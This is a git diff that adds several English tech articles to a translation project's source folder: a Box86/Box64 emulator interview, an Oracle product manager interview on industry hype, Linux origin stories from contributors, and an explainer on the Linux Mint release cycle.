+**Q. What were your main reasons to create Box86 and Box64?** + +**Ptitseb:**My main goal was to create an x86 emulator that ran on low-spec hardware. I’m quite active within the Open Pandora community [a small single-core ARM computer from 2012] and wanted to create a usable emulator for it. Put simply, I wanted a small and fast emulator for my Open Pandora + +**Q. What is your target audience with Box86 and Box64? Is it meant to only be used by hardcore Linux enthusiasts, or just the average Linux user?** + +**Ptitseb:** Aside from speed, one of my other goals with Box86 and Box64 is to have something that is usable by everyone. I designed Box86 to be as non-intrusive as possible; you install it, and then it just works. For now, I only provide source code, so as long it is not pre-compiled, it isn’t for everyone as it still needs to be compiled from source (even if it is relatively simple to do so). + +For now, it’s for experienced users, but the end goal is to allow everyone to use it easily. + +**Q. How are Box64 and Box86 different from previous attempts at running X86 applications using QEMU?** + +**Ptitseb:** As I said before, my goals were to have something that was fast and easy to use. As a result, I have made quite a few choices that the QEMU team hasn’t taken. For example, the main goal of QEMU is to be as precise and as close to the real hardware as possible. My goal is not that. Instead, I want something that is fast, even if I have to do some approximation to do so. + +I guess that the biggest difference between Box86/Box64 and QEMU is that I want Box86 to be as close to the actual hardware as possible and not as close to the emulated hardware (as would be found in QEMU). For example, X86 CPUs use 80 bit data, which ARM CPUs just can’t handle. While I could emulate this, it would significantly reduce speed, so I instead just use double 64-bit data. And it works! Even if it doesn’t work 100% of the time, for games, who cares! + +In simple terms, with this approximation, I get much more speed, at the expense of precision. + +**Q. Linux runs on an incredibly large number of devices. Because of this diverse target, I’m assuming not all hardware will work. Therefore, what kind of hardware is currently supported?** + +**Ptitseb:**For Box86 to run, the computer needs to be little endian. This is a hard requirement, as Box86 translates code, not memory. Aside from that, there isn’t much stopping Box86 and Box64 from running, apart from a few more things. + +Obviously, for Box86 to run, you need a 32-bit OS, and for Box64 a 64-bit OS, which is another hard requirement. Finally, if you want to use Dynarec, which significantly increases speed, you must be using ARM, not testing on an X86 PC. + +**Q. With the release of the Steam Deck, Valve has promised vastly improved compatibility with Windows games thanks to the Proton compatibility layer. Once the new Proton version is released, do you think it will be possible to run those games with Box64?** + +**Ptitseb:**I honestly don’t know, I still need to start working on that. It is definitely a goal that I want to work towards, mostly because it would just be nice to have! However, before I can get that working, I have a few other things that need to be finished first. For example, steam doesn’t work particularly well yet, so that will need to be improved before I can start working on Proton. + +So yes, it is an objective, but it still will be a while before it works well. + +**Q. I’m sure that you are aware of Apple’s Rosetta 2 translation layer. How do Box64 and Box86 compare to it?** + +**Ptitseb:**It’s difficult to say, as I still haven’t done much analysis of Rosetta 2. My understanding is that Rosetta uses an offline code converter, which neither Box86 nor Box64 have. Unlike Rosetta, Box64 doesn’t keep translated code, instead doing everything in the runtime. + +Other than that, Apple is always going to do translation better than Box64, as they have control over the full OS. After all, I can’t just change Linux to fit Box64, it needs to be the other way round. + +**Q. What future plans do you have for Box64?** + +**Ptitseb:**I’m currently thinking of a new Box piece of software, Box32, because why stop at two emulators when I can do three? Box32 will be a 64-bit emulator that runs 32-bit software. I can see, especially on ARM, that the 32-bit hardware is being phased out now, and as such Box86 will soon become obsolete because we won’t have any hardware to run it on. + +But this one will be tricky because the wrapping will have to be much smarter than the implementations in Box86 and Box64. This is a huge amount of work, so I am still trying to find a good solution that doesn’t require too much work on the conversion phase while still having something fast and usable. However, that’s a future project, just because of the sheer size of it. + +**Q. Looking at your GitHub profile, it appears that you have previously put a lot of work into porting individual games to the Open Pandora. Is Box86 an extension of that, or it is it a completely different project with different aims?** + +Yes, I guess it is an extension of that in some ways. On the Pandora, I port a lot of stuff, and to help make the process easier, I forked [GLshim][4], creating Gl4ES. This provides automatic translation from OpenGL to GLES2, making porting much faster. + +After that, I made Box86, which was yet another step towards making porting easier. Now, even if I don’t have the sources, I can still port things to the Open Pandora. + +So yes, it some kind of extension to the porting and getting software available for hardware that it would otherwise not be available for. + +**Q. How does GL4ES fit into the picture? Is it necessary to play most games?** + +It really depends on the hardware. Some hardware doesn’t have a full OpenGL driver (or at least supported by Mesa), so you will need GL4ES to play games on hardware like this because full PC games don’t care about GLES. + +If the hardware is supported by Mesa, like the Raspberry Pi 4, or the RK3399 SoC with Panfrost, it should be fine without it; you won’t need Gl4ES. + +So if Mesa doesn’t support the hardware or the hardware doesn’t support OpenGL, you will need GL4ES to run games. + +**Q. Finally, is there anything you would like to tell the community?** + +Well, I see that Intel, AMD, and the X86 world as a whole is dying. We saw back in 2020 that Apple really shook the world with the M1, and suddenly we saw that X86 is not the only thing that could be powerful enough for desktop computers. + +Now we are seeing alternative architectures like RISC-V that are emerging, and ARM is starting to appear in desktop computers too. So, X86 is not the only way to have a powerful PC for gaming and general use, and Box86 and Box64 are really just trying to help that movement. + +After all, there is a life after the death of X86. + +### Closing Thoughts + +With all the incredible work that Ptitseb has done, it was truly an incredibly interesting experience to gain a deeper insight into the workings of a project like Box86. The mention of a possible Box32 version was also very exciting to hear about, and I hope you are excited too. + +If you want to learn more about Box64, I’d highly suggest reading our release article on it. + +[Box64 Emulator Released for Arm64 Linux][5] + +With that, do you use Box86 or Box64? What are your thoughts on the future of those projects? Please feel free to let us know in the comments below. + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/box86-creator-ptitseb/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/box64-arm.jpg +[2]: https://github.com/ptitseb/box86 +[3]: https://github.com/ptitseb/box64 +[4]: https://github.com/lunixbochs/glshim +[5]: https://news.itsfoss.com/box64-emulator-released/ diff --git a/sources/talk/20220825 -I wish the industry would not follow this ever increasing hype cycle for new stuff-.md b/sources/talk/20220825 -I wish the industry would not follow this ever increasing hype cycle for new stuff-.md new file mode 100644 index 0000000000..a7b32a5001 --- /dev/null +++ b/sources/talk/20220825 -I wish the industry would not follow this ever increasing hype cycle for new stuff-.md @@ -0,0 +1,105 @@ +[#]: subject: "“I wish the industry would not follow this ever increasing hype cycle for new stuff”" +[#]: via: "https://www.opensourceforu.com/2022/08/i-wish-the-industry-would-not-follow-this-ever-increasing-hype-cycle-for-new-stuff/" +[#]: author: "Abbinaya Kuzhanthaivel https://www.opensourceforu.com/author/abbinaya-swath/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +“I wish the industry would not follow this ever increasing hype cycle for new stuff” +====== +*While new technologies can lead to innovations, hype often goes with the territory. Gerald Venzl, senior director, product management at Oracle Corporation speaks with Abbinaya Kuzhanthaivel about the risks of following the hype, and shares his thoughts on how to grow a career by contributing to open source projects.* + +##### Q. Can you tell us a bit about your journey with open source? + +**A.** I currently work as a database product manager looking after the Oracle Database. As part of my job, I help steer the direction of the product and help pinpoint priorities in the market that need to be addressed. Often people are surprised when I tell them that open source is an important aspect of that. For example, Oracle recently launched a Kubernetes operator for its database, which is fully open source and is available on GitHub. But we have also Docker build files on GitHub, and even some of our Oracle Database drivers are fully open source, such as our Node.js driver and the Python driver. + +##### Q. Is Oracle your first venture into open source? + +**A.** I was accustomed to open source in my personal life before joining Oracle. For me, open source is a natural part of my job. +Oracle has a long-standing commitment to open source with Oracle Linux, Java, MySQL and many other projects. Although the Oracle Database core is proprietary, we see the value of open source and having people to contribute and understand the technologies around it. + +##### Q. What do you think about open source as an opportunity? + +**A.** The thing that I like about open source is that it’s essentially a democracy and everybody gets to participate. Not that all participants are core contributors, but it connects people from all over the world. The exposure to projects and other developers is important for growing your skillset and your career. + +In Oracle, we are currently focusing a lot on the Kubernetes operator. That’s an exciting project. In my free time, I also write little tools and open source them. I had worked a little on a command line tool called ‘csv2db’, that allows you to load CSV data into a database. I see these projects as a chance to educate myself. You read something, and then you try to implement it and see whether you really understood it, whether it works and so on. + +##### Q. How did this change happen from being a developer to a product manager? + +**A.** My path was probably highly irregular. I am from Austria originally where I worked as a developer for an American company headquartered in New York. I was part of the performance engineering team. I was actually one of those guys who tried to profile the code and those skills eventually brought me to troubleshoot production systems at customer sites. I relocated to New York, and then a couple of years later Oracle asked me to join their pre-sales team as a result of our earlier interactions in running proof-of-concepts and performance tests on their systems together. + +I liked the opportunity to learn by interacting with customers directly and discussing requirements. But for me, the turning point was moving back into development and specifically into the technical aspects as product manager. + +##### Q. What are the top two ‘must have’ qualities of your role? + +**A.** I think one must definitely be able to accept ever-changing requirements. But it’s not just a reactive job. You also have to have a curious mindset. If you have a curious mind, are open to new ideas, and can think out-of-the-box, you can establish your priorities and grow into the role. + +##### Q. What would you like to say about the challenges in your current role? + +A. Product manager is a very diverse and ever-changing role. One must be highly adaptive because you need to go through steering the product, prioritising the internal roadmap and also accept changes depending on market demands and customer needs. So the key challenge, and also the fun part, is that no day really ever looks the same. + +##### Q. Any important risk you have taken so far which you think might inspire others? + +**A.** I think my shifting into product management was the biggest risk. The future is unpredictable and one must dare to take such risks. For open source projects, it’s probably taking the step and actually wanting to contribute to a project. It can be a bit daunting in the beginning, especially to know where to start contributing for very popular active projects. Not all contributions have to be done in code; often people appreciate help with the documentation or testing. There are many ways to get started — the important thing is that you do get started. If you are passionate about something, you will have to go after it. You may have people not reacting the way you expect at first, but that’s okay. It will essentially help to learn. + +##### Q. What do you consider as top leadership qualities? + +**A.** There are a couple of things that I think are important for leadership. And the first one is that it’s okay to be wrong and acknowledge it. This also encourages people around you to freely share ideas. The other thing would be to take chances and get out of your comfort zone. I have never formally learnt product management. I just was intrigued by it, gave it a try and I thought, let’s see how it goes. It has put me in a good space for growth. + +##### Q. Anything you are not very happy about when it comes to open source? + +**A.** I wish the industry would not follow this ever increasing hype cycle for new stuff. New doesn’t automatically mean great. We may talk just about all the new things out there, but the world still runs on Linux and, remember, we still use the HTTP, TCP/IP and all those technologies today. The fundamental technologies that connect us around the globe have been there for a long time. Something doesn’t have to be new to be great and often new technologies go just as fast as they came. + +##### Q. What are the major risks in going ahead with new technologies? + +**A.** A major risk is forgetting or not wanting to ask the “why” we need the new technology. In our industry we get excited very quickly about something that we then want to work with. Sometimes that means that we oversimplify some business requirements and kind of omit the downsides of a new technology, just so that we can use it for a new project. I agree that new things lead to innovations and there is nothing wrong with that. But I have equally seen just as many projects fail that tried to replace the legacy system because a new buzz technology is out there and looks attractive. I’ve seen a three or four year-long project fail because no one bothered to look at the ‘why’ when replacing the previous system; and although it solved the new requirements, people forgot to ask themselves what the old system did well and they just ended up with those old issues again. + +##### Q. How does one keep away from the hype around new technologies? + +**A.** I would say that, as a developer, don’t just blindly follow the latest and greatest. If someone is telling you new stuff, well it’s great to know. But it’s no surprise to me that Linux runs the world and HTTP runs the Web, because those technologies are really well-designed. Have an open mind and look at what’s new, but think about whether this new technology actually will serve your needs. It’s fine if it doesn’t. + +##### Q. How can a developer find projects to contribute to while keeping away from the hype? + +**A.** There’s nothing wrong with working on a hype project, but you have to make sure that you actually have interest. Think small — don’t expect to become the main contributor in the next two weeks or in a short span. + +Remember most of the open source projects really like non-code contributions just as much, such as testing or reporting bugs or lack of information in the documentation. Don’t just go into it to write some code. Initially have some idea about which area you want to contribute to. It should be something that excites you. Go to GitHub and just read through project contributing guidelines. It will tell you what contributions the project needs and how to make them correctly. + +Your work may be small, like adding a sentence to the doc or correcting a typo. But it will allow you to get familiar with the process and with the other people involved in these projects. Do not expect to jump into a project and change its core. Most likely, only an approved committee of committers can actually change that part of the code. Build some trust, show that you understand the project and over time your involvement will grow naturally. + +##### Q. Any examples of projects you think were overrated because they had just used a new technology? + +**A.** I have seen a few working in the database space. When you think about it, relational databases have been around for a very long time and are still going strong. To some extent, we have forgotten why relational databases became so popular. The goal was to organise the data in a way so that five years from now somebody who comes in and has no clue what the data looked like, can make sense out of it. For a while there was a general hype that you no longer need any database, whether relational or non-relational, because Hadoop will do everything. And it didn’t. It actually just led to data cleansing issues for many folks. Don’t get me wrong — there are companies that successfully run Hadoop clusters and there is nothing bad about the technology itself. But you have to understand what it is and when to use it. + +##### Q. Oracle has recently introduced the new MongoDB API for its autonomous database. What was the reason behind it and how did it happen? + +**A.** At Oracle, we follow the converged database methodology. This methodology focuses on bringing the algorithms and computation to the data, rather than the other way around. A very good analogy for converged database methodology is the smartphone, where you can do multiple use cases in one device, like taking a picture and sending it to a friend while being on a phone call, for example. In recent years, we have seen a proliferation of vendors pitching their technology to address an often simple use case For example, developers like working with JSON documents and MongoDB allows them to store and retrieve these documents. But it is one thing to store and retrieve these and another to analyse terabytes of them in real-time. We think SQL is a really good language for any kind of analytics and we have the best database for mixed workloads, i.e., allow real-time analytics while transactional workloads are running. Additionally, Oracle Database has been managing JSON documents natively since 2014. + +Developers love the MongoDB API as it makes database interaction very natural for them. And we have the best database for analytics and mixed workloads that can also manage JSON documents natively. So we decided to give developers the best of both worlds — the same MongoDB API on top of the world’s leading database. + +##### Q. Will you say MongoDB is a new hype? + +**A.** The JSON format is a very useful hierarchical format and is nothing new — it’s been around since 2001. If you want to use JSON, then go ahead, by all means. Oracle has done a lot of work to introduce JSON operations into the SQL standard, and we see more and more databases supporting these standardised operations. You will find that if you want to work with JSON, retrieve JSON documents, query and manipulate data in JSON documents, you definitely don’t need to have a document store anymore. MongoDB is a cool technology, but so were XML databases in their days. I think it is definitely not needed for data management aspects. + +##### Q. Any hiring plans? + +**A.** We are constantly hiring great talent and all our openings can be accessed on the Oracle careers page. We are looking for people in a variety of different roles, including engineering and product management. We are strong in diversity and have people from all around the world and all ages, including graduate students. + +##### Q. Your message for our readers. + +**A.** Programming is a universal language and it’s great to be a developer and write programs. Don’t be shy, be always ready to try something new and get out of your comfort zone to do things you are passionate about. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/i-wish-the-industry-would-not-follow-this-ever-increasing-hype-cycle-for-new-stuff/ + +作者:[Abbinaya Kuzhanthaivel][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/abbinaya-swath/ +[b]: https://github.com/lkxed diff --git a/sources/talk/20220825 Happy birthday, Linux! Here are 6 Linux origin stories.md b/sources/talk/20220825 Happy birthday, Linux! Here are 6 Linux origin stories.md new file mode 100644 index 0000000000..ba0c619a0b --- /dev/null +++ b/sources/talk/20220825 Happy birthday, Linux! Here are 6 Linux origin stories.md @@ -0,0 +1,131 @@ +[#]: subject: "Happy birthday, Linux! Here are 6 Linux origin stories" +[#]: via: "https://opensource.com/article/22/8/linux-birthday-origin-stories" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Happy birthday, Linux! Here are 6 Linux origin stories +====== +Our contributors share their first Linux experience on the 31st anniversary of the Linux kernel. + +On August 25, 1991, Linux 0.01 was announced. All of us have a story to tell about Linux. I told my story a couple of months ago, but for those who weren't here: My first exposure to Linux was when my grassroots hospice organization moved from paper to digital charting. We didn't have the funding to get something proprietary, but the IT department had Linux set up on our old machine, and we used the GNOME desktop and OpenOffice to start our journey in creating digital assets. + +I recently asked some Opensource.com authors this simple question: + +*What was your first Linux experience?* + +### From VAX to Linux + +For my junior year of high school, I was shipped off to a state-run "nerd farm" (that's the North Carolina School of Science and Mathematics.) Our first day on campus, the juniors were each assigned a senior big brother or sister. My senior big sister ditched me because she had tickets to go to a big outdoor music festival with her boyfriend, but when they came back all sunburned, we hung out in my mostly empty dorm room eating takeout on the floor. That was when I first met Matt. + +As the year wound on, Matt showed me how to help as a student sysadmin changing backup reels for the VAX mainframe and doing basic tasks on the "big" workstation that doubled as a campus-wide UNIX server. He had a PC in his room, with GNU and XWindows on a Minix kernel, but found this cool new alternative that some Finnish student had started posting the source code for on Usenet. I knew, right then and there, that was my future. + +When I got home for the summer, the first thing I did was buy a shiny new 486 with some of my savings from odd jobs, fired up a SLIP connection through our local BBS, and downloaded and decoded all the bits and pieces I'd need to bootstrap and compile Linux 0.96. + +Matt and I mostly lost touch after he graduated, but I'll always owe him for introducing me to the operating system kernel I'd use for the rest of my life. I think of him every time I see that tattered old copy of **Running Linux** adorning my office shelf. + +The "Matt" in this story is Matthew D. Welsh. After we lost touch, he became the original maintainer of [The Linux Documentation Project][2], and the author of the first edition of the O'Reilly Press book **Running Linux**. + +**[—Jeremy Stanley][3]** + +### Computer club + +Friends at a [computer club][4] inspired me to try Linux. + +I used Linux to help students learn more about other operating systems from 2012 to 2015, and I would say that Linux has taught me more about computers in general. + +It has probably affected my "volunteer career" because to this day I write articles about being a neurodiverse person in the Linux world. I also attend and join different Linux events and groups, so I've had access to a community I probably wouldn't have known otherwise. + +**[—Rikard Grossman-Nielsen][5]** + +### Galaxy + +My Linux story started a long time ago in a galaxy far, far away. In the early 90s, I spent a year in the US as a high school student. Over there, I had access to e-mail and the Internet. When I came back home to Hungary, I finished high school without any Internet access. There were no public Internet providers in Hungary at that time. Only higher education, and some research labs, had Internet. But in 1994, I started university. + +The very first wee of school, I was at the IT department asking for an email address. At that time, there was no Gmail, Hotmail, or anything similar. Not even teachers got an email address automatically at the university. It took some time and persistence, but I eventually received my first university email address. At the same time, I was invited to work in the faculty-student IT group. At first, I got access to a Novell and a FreeBSD server, but soon I was asked to give Linux a try. + +It was probably late 1994 when I installed my first Linux at home. It was Slackware, from a huge pile of floppy disks. At first, I only did a minimal installation, but later I also installed X so I could have a GUI. In early 1995, I installed my first-ever Linux server at the university on a spare machine, which was also the first Linux server at the university. At that time, I used the [Fvwm2][6] window manager both at home and at the university. + +At first, I studied environmental protection at the university, but my focus quickly became IT and IT security. After a while, I was running all the Linux and Unix servers of the faculty. I also had a part time job elsewhere, running web and e-mail servers. I started a PhD about an environmental topic, but I ended up in IT. I've worked with FreeBSD and Linux ever since, helping [sudo][7] and `syslog-ng` users. + +**[—Peter Czanik][8]** + +### Education + +I got introduced to Linux in the late 1990s by my brother and another friend. My first distro was Red Hat 5, and I didn't like it at the time. I couldn't get a GUI running, and all I could see was the command-line, and I thought, "This is like MS-DOS." I didn't much care for that. + +Then a year or more passed, and I picked up a copy of Red Hat 6.1 (I still have that copy) and got it installed on and HP Vectra with a Cyrix chip installed. It had plenty of hard disk space, which was fortunate because the Red Hat Linux software came on a CD. I got the GUI working, and set it up in our technology office at the school district I was employed at. I started experimenting with Linux and used the browser and Star Office (an ancestor of the modern [LibreOffice][9]), which was part of the included software. + +A couple years later, our school district needed a content filter, and so I created one on an extra computer we had in our office. I got Squid, Squidguard, and later Dansguardian installed on Linux, and we had the first self-hosted open source content filter in a public school district in Western New York State. Using this distribution, and later Mandrake Linux (an ancestor of [Mageia][10] Linux) on old Pentium II and Pentium III computers, I set up devices that used [SAMBA][11] to provide backup and profile storage for teachers and other staff. Teaming with members of area school districts I set up spam filtering for a fraction of the cost that proprietary solutions were offering at the time. + +Franklinville Central School District is situated in an area of high rural poverty. I could see that using Linux and open source software was a way to level the playing field for our students, and as I continued to repurpose and refurbish the "cast-off" computers in our storage closets, I built a prototype Linux terminal server running Fedora Core 3 and 4. The software was part of the K12LTSP project. Older computers could be repurposed and PXE booted from this terminal server. At one point, we had several computer labs running the LTSP software. Our staff email server ran on RHEL 2.1, and later RHEL 3.0. + +That journey, which began 25 years ago, continues to this day as I continue to learn and explore Linux. As my brother once said, "Linux is a software Erector set." + +**[—Don Watkins][13]** + +### Out in the open + +My first experience with Linux was brief, and it involved a lot of floppies. As I recall, it was entertaining until my dear wife discovered that her laptop no longer had Windows 98 installed (she was only moderately relieved when I swapped back in the original drive and the "problem" disappeared). That was around 1998, with a Red Hat release that came with a book and a poor unsuspecting ThinkPad. + +But really, at work I always had a nice Sun Workstation on my desktop, so why bother? In 2005, we decided to move to France for a while, and I had to get a (usefully) working Toshiba laptop, which meant Linux. After asking around, I decided to go with Ubuntu, so that was my first "real" experience. I think I installed the first distro (codenamed Warty Warthog,) but soon I was on the latest. There were a few tears along the way, caused mostly by Toshiba's choice of hardware, but once it was running that darned laptop was every bit as fast, and way more functional, for me than the old Sun. Eventually, we returned home, and I had a nice new Dell PC desktop. I installed Feisty Fawn, and I've never looked back. + +I've tried a few other distros, but familiarity has its advantages, particularly when configuring stuff at the lowest of levels. Really though, if forced to switch, I think I would be happy with any decent Linux distro. + +At a few points in time, I have had to do "kernel stuff", like bisecting for bugs and fiddling around with device drivers. I really can't remember the last time something that complicated was necessary, though. + +Right now, I have two desktops and one laptop, all running Ubuntu 22.04, and two aging Cubox i4-pro devices running Armbian, a great Debian-based distro created for people using single-board computers and similar devices. I'm also responsible for a very small herd of various virtual private running several distros, from CentOS to various versions of Ubuntu. That's not to mention a lot of Android-based stuff laying around, and we should recognize that it's Linux, too. + +What really strikes me, as I read this back over, is how weird it all must sound to someone who has never escaped the clutches of a proprietary operating system. + +**[—Chris Hermansen][15]** + +### Getting involved + +The first computer I bought was an Apple, the last Apple was a IIe. I got fed up with the strong proprietorship of Apple over the software and hardware, and switched to an Amiga, which had a nice GUI (incidentally, I have never owned another Apple product.) + +Amiga eventually crumbled, and so I switched to Windows—what an awful transition! About this time, somewhere in the mid- to latter-90s, I was finding out about Linux, and began reading Linux magazines and how to set up Linux machines. I decided to set up a dual-boot machine with Windows, then bought Red Hat Linux, which at the time came on a number of floppy disks. The kernel would have been 2.0-something. I loaded it on my hard drive, and Presto! I was using Linux—the command-line. At that time, Linux didn't read all of your hardware and make automatic adjustments, and it didn't have all the drivers you needed, as it does today. + +So next came the process of looking up in BBSes or wherever to find out where to get drivers for the particular hardware I had, such as the graphics chip. Practically, this meant booting into Windows, saving the drivers to floppy disk, booting back into Linux, and loading the drivers to the hard drive. You then had to hand-edit the configuration files so that Linux knew which drivers to use. This all took weeks to accomplish, but I can still recall the delight I felt when I typed `startx`, and up popped X-Windows!! + +If you wanted to update your kernel without waiting for and buying the next release, you had to compile it yourself. I remember I had to shut down every running program so the compiler didn't crash. + +It's been smooth sailing ever since, with the switch to Fedora (then called "Fedora Core"), and the ease of updating software and the kernel. + +Later, I got involved with the [Scribus][16] project, and I started reading and contributing to the mail list. Eventually, I began contributing to the documentation. Somewhere around 2009, Christoph Schaefer and I, communicating over the internet and sharing files, were able to write **Scribus, The Official Manual** in the space of about 9 months. + +**[—Greg Pittman][17]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/linux-birthday-origin-stories + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/rh_003499_01_linux31x_cc.png +[2]: https://tldp.org/ +[3]: https://opensource.com/users/fungi +[4]: https://opensource.com/article/22/5/my-journey-c-neurodiverse-perspective +[5]: https://opensource.com/users/rikardgn +[6]: https://opensource.com/article/19/12/fvwm-linux-desktop +[7]: https://opensource.com/article/22/8/debunk-sudo-myths +[8]: https://opensource.com/users/czanik +[9]: https://opensource.com/article/21/9/libreoffice-tips +[10]: http://mageia.org +[11]: https://opensource.com/article/21/12/file-sharing-linux-samba +[12]: https://opensource.com/article/22/5/essential-linux-commands +[13]: https://opensource.com/users/don-watkins +[14]: https://www.redhat.com/sysadmin/linux-kernel-tuning +[15]: https://opensource.com/users/clhermansen +[16]: http://scribus.net +[17]: https://opensource.com/users/greg-p diff --git a/sources/talk/20220825 Linux Mint Release Cycle- What You Need to Know.md b/sources/talk/20220825 Linux Mint Release Cycle- What You Need to Know.md new file mode 100644 index 0000000000..5366937974 --- /dev/null +++ b/sources/talk/20220825 Linux Mint Release Cycle- What You Need to Know.md @@ -0,0 +1,126 @@ +[#]: subject: "Linux Mint Release Cycle: What You Need to Know" +[#]: via: "https://itsfoss.com/linux-mint-release-cycle/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Linux Mint Release Cycle: What You Need to Know +====== +Linux Mint is an Ubuntu-based distribution. You probably already know that. + +Ubuntu releases a new version every six months but Linux Mint doesn’t follow the six-monthly release pattern. + +Linux Mint uses the Ubuntu LTS ([long term support][1]) version as its base. An LTS version of Ubuntu is released every two years and hence **you also get a major Mint version every two years** (Mint 19, 20, 21, etc). + +Like the Ubuntu LTS versions, a major Linux Mint version is also supported for five years. Although, there are **three point releases in between** (Mint 20.1, 20.2, 20.3). + +Compared to Ubuntu, how long does Linux Mint receive updates? When should you expect an upgrade for Linux Mint? Should you upgrade when a new version is available? + +Here, let me highlight all these necessary details regarding the release cycle of Linux Mint. + +### Release Cycle of Linux Mint + +Ubuntu releases a long-term support release every two years. A Mint version is followed soon after. In other words, you get a new Mint version every two years. + +So, the Linux Mint 20 was released in 2020 based on Ubuntu 20.04, Mint 21 came in 2022 based on Ubuntu 22.04. + +Unlike Ubuntu, there is no strict release schedule for Mint. There is no predefined release date. The new version arrives when it is deemed ready by its developers. + +#### Point Releases + +In between the two (major) version releases of Mint, there are three point releases that arrive at an interval of six months. + +So, Mint 20 (or 20.0) was released in June ’20. Mint 20.1 came in December’20, Mint 20.2 in June’21 and Mint 20.3 in December’21. After that, the Mint team works on developing the next major release. + +What do these point releases have? A new version of the desktop environment, containing mostly visual changes in the UI. It may also feature new applications sometimes. + +The upgrade to the point release is optional. You can choose to stay with 20.1 and not upgrade it to 20.2 and 20.3. This is preferred by people who don’t like frequent (visual) changes to their systems. + +After the last point release (XX.03), your system will only get security and maintenance updates for installed software. You won’t get new major versions of the desktop environment and some other software like GIMP or LibreOffice. + +#### Support Cycle + +Not all Ubuntu-based distributions give you the same update cycle benefit as Canonical’s Ubuntu. Many Ubuntu-based distributions and the [official flavours][2] provide support for up to 3 years. + +Fortunately, for **Linux Mint**, you get the same update perks as Ubuntu. + +**Each Linux Mint release is supported for five years**. After that, you must upgrade to the next version or install the newer version afresh. + +For example, Mint 20 was released in 2020, a few months after Ubuntu 20.04. Ubuntu 20.04 LTS is supported till 2025 and thus Mint 20 series is also supported till 2025. + +All point releases of a series are supported till the same date. Mint 20.1, 20.2, and 20.3 will all be supported till 2025. + +Similarly, Ubuntu 22.04 LTS will be supported until April 2027. You can expect the update cycle for Linux Mint 21 series (based on Ubuntu 22.04) until the same timeline. + +**To summarize:** + +* You get a new major version of Linux Mint every two years +* Each major version is supported for five years +* Each major release (version XX) is followed by three point releases (XX.1, XX.2, XX.3) before the next major release +* The point releases (XX.1, XX.2, XX.3) are supported till the same time as their major version (XX) + +### When Should You Upgrade Linux Mint? + +That totally depends on you. + +A new major version comes every two years. If you can choose to upgrade it then or you can stay with your current version for its entire lifecycle of five years. + +Unless you want access to the latest features and improvements, you can choose not to upgrade your Linux Mint installation to another major version. + +For point releases, you may or may not choose to update. Like, 20 to 20.1 or 20.1 to 20.2. You will still get important security and maintenance updates even if you are not using the latest point release. + +You can refer to our [Linux Mint upgrade guide][3] for help. + +### Linux Mint Versioning and Naming + +Unlike Ubuntu’s flavours, Linux Mint has a different numbering scheme. Linux Mint likes to bump up the number with every Ubuntu LTS release. + +In other words: + +Linux Mint 19 → **Ubuntu 18.04 LTS** + +Linux Mint 20 → **Ubuntu 20.04 LTS** + +Linux Mint 21 → **Ubuntu 22.04 LTS** + +So, you should steer clear of the following confusion: + +*Linux Mint 20 was based on Ubuntu 20.04 does not mean that Linux Mint 21 will be based on Ubuntu 21.04.* + +Furthermore, every release has **three-point releases**, with minor updates to the core and potential upgrades to some Linux Mint applications. + +Now, coming to its **naming scheme**: + +Every Linux Mint release, be it minor or major, has a codename. Usually, it is a female name, normally of Greek or Latin origin. + +Like Ubuntu, there is a pattern in the codename as well. The codenames are in alphabetically increasing order for the major releases. When it comes to point releases, you will find a new name starting with the same alphabet. + +For example, Mint 20 was called **Ulyana**, with 20.1 as **Ulyssa**, 20.2 as **Uma**, and 20.3 **Una**. Similarly, Mint 19 series had codenames starting with T. + +At the time of writing this, Mint 21 (the latest release) codename starts with **V,** and the first release of the 21 series is called **Vanessa**. + +There will be at least three more minor releases in the Mint 21 series, and they will be released every six months until the next Mint major release in 2024. And they all will have a codename starting with the letter V. + +### Keep it Minty + +I hope this article clears any confusion with Linux Mint upgrades and educates you more about the release and update cycle on Linux Mint. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linux-mint-release-cycle/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/long-term-support-lts/ +[2]: https://itsfoss.com/which-ubuntu-install/ +[3]: https://itsfoss.com/upgrade-linux-mint-version/ diff --git a/sources/talk/20220826 Why Companies Need to Set Up an Open Source Program Office.md b/sources/talk/20220826 Why Companies Need to Set Up an Open Source Program Office.md new file mode 100644 index 0000000000..5de3dc4d07 --- /dev/null +++ b/sources/talk/20220826 Why Companies Need to Set Up an Open Source Program Office.md @@ -0,0 +1,111 @@ +[#]: subject: "Why Companies Need to Set Up an Open Source Program Office" +[#]: via: "https://www.opensourceforu.com/2022/08/why-companies-need-to-set-up-an-open-source-program-office/" +[#]: author: 